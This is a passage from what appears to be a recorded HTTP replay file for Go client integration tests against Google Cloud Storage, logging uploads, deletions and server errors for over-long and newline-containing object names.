ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IlRoZSBtYXhpbXVtIG9iamVjdCBsZW5ndGggaXMgMTAyNCBjaGFyYWN0ZXJzLCBidXQgZ290IGEgbmFtZSB3aXRoIDEwMjUgY2hhcmFjdGVyczogJydhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYS4uLicnIn19" - } - }, - { - "ID": "239b642e1919a84a", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoibmV3XG5saW5lcyJ9Cg==", - "ZGF0YQ==" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "3270" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:31 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urk-XOPoshQkyIHYZp241R2W5lOuLwqPMx606rubzPOaGggM2z_sZO93dYCJHffXuPDOjy64lIxrBXIYW4QT04eM932jPtzPdVd-PFWssV9RYk83JE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImludmFsaWQiLCJtZXNzYWdlIjoiRGlzYWxsb3dlZCB1bmljb2RlIGNoYXJhY3RlcnMgcHJlc2VudCBpbiBvYmplY3QgbmFtZSAnJ25ld1xubGluZXMnJyIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1JTlZBTElEX1ZBTFVFLCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89bnVsbCwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWJhZFJlcXVlc3QsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLklOVkFMSURfVkFMVUUsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPW51bGwsIGVycm9yUHJvdG9Db2RlPUlOVkFMSURfVkFMVUUsIGVycm9yUHJvdG9Eb21haW49Z2RhdGEuQ29yZUVycm9yRG9tYWluLCBmaWx0ZXJlZE1lc3NhZ2U9bnVsbCwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlLmlkLm5hbWUsIG1lc3NhZ2U9RGlzYWxsb3dlZCB1bmljb2RlIGNoYXJhY3RlcnMgcHJlc2VudCBpbiBvYmplY3QgbmFtZSAnJ25ld1xubGluZXMnJywgdW5uYW1lZEFyZ3VtZW50cz1bbmV3XG5saW5lc119LCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuaWQubmFtZSwgbWVzc2FnZT1EaXNhbGxvd2VkIHVuaWNvZGUgY2hhcmFjdGVycyBwcmVzZW50IGluIG9iamVjdCBuYW1lICcnbmV3XG5saW5lcycnLCByZWFzb249aW52YWxpZCwgcnBjQ29kZT00MDB9IERpc2FsbG93ZWQgdW5pY29kZSBjaGFyYWN0ZXJzIHByZXNlbnQgaW4gb2JqZWN0IG5hbWUgJyduZXdcbmxpbmVzJydcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJEaXNhbGxvd2VkIHVuaWNvZGUgY2hhcmFjdGVycyBwcmVzZW50IGluIG9iamVjdCBuYW1lICcnbmV3XG5saW5lcycnIn19" - } - }, - { - "ID": "3cd795cb0b675f98", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:31 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpOXjD9T_c_FRByyyA-CjE753kXZefEzIwQdrNG6OewoHOvKC3Bb9LleziQ6-ymVDg-F1S1eeQeFNJH7nJxDsdA_VmxOjeBzTDB_F3--_1NtwMF6Do" - ] - }, - "Body": "" - } - }, - { - "ID": "361d4541e2cb460a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/a?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:31 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpomJFlpfOIJoFvdCmQgD2dRXSREzV1ToI2ntcHi8I9tSyzMCUk0ZrytllkwR_nU8WFZ0YuXVl0Kwsq1EhJL85RlBgCkBNc1P-yVMyNbdt5YrooKok" - ] - }, - "Body": "" - } - }, - { - "ID": "a4e929446e49411d", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/%D0%93%D0%BE%D1%84%D0%B5%D1%80%D0%BE%D0%B2%D0%B8?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:31 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqmdInqhuXhUxVjtfRvXvHd6Rmo1ODUbeNFFTBW4diuT7HDjzmYnvd4TU6oJPqbck52yFAR99fMx4Tks1TllSUCB4GsMVbBNENfZU6te-hXIB8XyJs" - ] - }, - "Body": "" - } - }, - { - "ID": "89b2ef62a071f7b9", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/gopher?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:32 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrRgapcSgK1GOswXS37Vynb9BRj0go8bNPOBtrFZ3TDr-nzIdlvKBQuwHtXl4Tlb-mLl-A65zL5Iw3unCEuy6lwtWl5-V7REtcIVHkrWLK5AoLoHqA" - ] - }, - "Body": "" - } - }, - { - "ID": "ca91b2e4ee4555cb", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoiY29udGVudCJ9Cg==", - "SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3213" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:32 GMT" - ], - "Etag": [ - "CLGNmsnx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UovWW5HSrWbcvQoWGU3c_n64wwcau06tjEM-fzdADFSbmmylG3VLjae6MRNIM4B9gDitCKfjo1_xPQNAZEmMYzRplVmdI4cIrBC8ursFSUywoCSJeU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzI0NDIwMzMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMi40NDFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzIuNDQxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMyLjQ0MVoiLCJzaXplIjoiNTIiLCJtZDVIYXNoIjoiSzI4NUF3S1dXZlZSZEJjQ1VYaHpOZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQ/Z2VuZXJhdGlvbj0xNTU2ODM1ODcyNDQyMDMzJmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzI0NDIwMzMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy9wcm9qZWN0LW